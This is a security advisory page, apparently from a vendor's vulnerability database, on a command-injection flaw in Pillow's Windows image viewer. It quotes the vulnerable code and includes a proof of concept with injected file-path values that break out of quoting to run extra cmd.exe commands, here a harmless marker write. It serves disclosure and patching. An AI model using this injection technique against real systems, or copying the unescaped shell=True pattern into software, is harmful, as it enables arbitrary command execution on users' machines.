Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-4x4j-2g7c-83w6

MEDIUM

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

Also known asBIT-pillow-2026-55798CVE-2026-55798PYSEC-2026-2257
Published
Jul 20, 2026
Updated
Jul 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍pillow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

PlatformClassshlex.quote()?shell=True?Safe?
macOSMacViewerYes (line 168)No (list args)✅ Yes
LinuxUnixViewerYes (line 207)No (list args)✅ Yes
WindowsWindowsViewerNo (line 134–137)Yes (line 148)❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpillowall versions12.3.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update pillow to 12.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4x4j-2g7c-83w6 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4x4j-2g7c-83w6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4x4j-2g7c-83w6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### 1. Summary `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a file path into an f-string without escaping. The result is passed to `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow injection of arbitrary `cmd.exe` commands. The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter. The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this protection, despite `sh
O3 Security · Impact-Aware SCA

Is GHSA-4x4j-2g7c-83w6 in your dependencies?

O3 detects GHSA-4x4j-2g7c-83w6 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.